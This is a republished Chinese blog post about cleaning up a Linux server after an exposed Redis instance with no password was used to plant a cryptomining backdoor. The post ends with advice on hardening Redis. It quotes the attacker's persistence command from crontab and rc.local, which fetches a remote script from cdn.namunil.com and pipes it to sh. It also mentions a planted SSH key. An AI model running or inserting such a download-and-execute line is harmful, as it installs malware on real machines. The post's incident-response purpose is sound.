登录
首页 >  数据库 >  Redis

Linux服务器Redis漏洞被利用挖矿解决方法

来源:51cto

时间:2023-01-19 13:21:21 254浏览 收藏

怎么入门数据库编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面golang学习网就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《Linux服务器Redis漏洞被利用挖矿解决方法》,涉及到服务器、Redis、Linux,有需要的可以收藏一下

由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2018-03-28 07:34:26时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。发现这个提醒了,基本上你的服务器已经成为挖矿肉鸡了。

最近上服务器,发现服务器redis的备份文件路径变了,一开始也没怎么在意,后来发现一些服务老是挂掉。我重启了次服务器,好像恢复正常了。过了一会,一些关键服务又自动挂了,我开始意识到我服务器可能被入侵变成肉鸡了。这个网址就是罪魁祸首,cdn.namunil.com,开机自启动从此网址自动下载脚本执行,太坑了,这家伙。

于是我看了下crontab,发现有个陌生的例行:

查看定时任务命令:

查看定时任务:vim  /etc/crontab

列出所有的定时任务:crontab -l

删除所有用户定时任务:crontab -r

*/20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh 

应该就是它在搞事,于是我把它删掉,重启服务器,惊奇地发现这个例行又出现了,明明已经被我删掉了,于是我看了下开机自动加载命令:

cat /etc/rc.d/rc.local 

发现如下内容:

curl -fsSL http://cdn.namunil.com/ash.php | shexit() 

于是我把它删掉,继续重启服务器,这次正常了。Linux服务器自启动文件路径:etc/rc.local 这个每个人的有细微差别,具体可以查看。

接着我继续排查其他被改动的问题,发现博客可以正常读取mysql数据,但是在Linxu直接命令行连接不上:

[root@VM /root]# mysql -u root -p 
mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference 

参考这个链接解决了

http://blog.51cto.com/ovcer/1620051

接着发现phpmyadmin还是连接不上,账号密码确认没输错,但是就是登录不上气,也没报错,当时就一脸懵逼了,后来想上博客后台看下数据,发现验证码老时提示输入错误(明明没输错,认真脸)。

接着打印日志排查问题的时候,发现验证码根本就没写进到session里面去,突然想起之前在php.ini里面好像改过php session文件的存储路径,于是看了下

[root@VM /root]#php -i | grep session.save_path 
session.save_path => /tmp/phpsession/ => /tmp/phpsession/ 

看了下/tmp目录下并没有phpsession文件夹了,应该是被黑客清掉了,于是我重新创建了phpsession文件夹,并把权限给了www,接着试了下,都恢复正常了。

恢复正常后,我在想是什么引起服务器被入侵的,想了下,最近好像只改动过redis,会不会是redis导致的呢?

我百度了下 -fsSL

和我遇到的情况很类似,发现他也是redis引起的,后来仔细想想,上次测试redis远程访问,开启后忘记关闭了,也没设置账密,结果就被扫描入侵了。

修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf

参考链接里面的做法,我发开打开 ~/.ssh/authorized_keys

果然发现里面有个未知的redis账号,于是马上把它删除了。

以上就是本文的全部内容了,是否有顺利帮助你解决问题?若是能给你带来学习上的帮助,请大家多多支持golang学习网!更多关于数据库的相关知识,也可关注golang学习网公众号。

声明:本文转载于:51cto 如有侵犯,请联系study_golang@163.com删除
相关阅读
更多>
最新阅读
更多>
课程推荐
更多>